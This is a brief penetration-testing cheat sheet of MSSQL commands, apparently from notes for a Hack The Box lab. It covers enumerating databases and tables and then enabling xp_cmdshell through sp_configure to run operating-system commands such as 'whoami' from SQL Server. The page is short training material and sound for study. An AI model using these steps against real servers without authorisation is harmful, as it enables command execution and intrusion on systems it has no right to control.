MSSQL Commands
# It will show the name of existing database/s
SELECT name FROM master.dbo.sysdatabases
GO# It will use the htbusers database
USE htbusers
GO# It will show the names of existing table/s
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GOSELECT * FROM table_name
# It will enable the xp_cmdshell
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
# Then just run this
xp_cmdshell 'whoami'
GOLast updated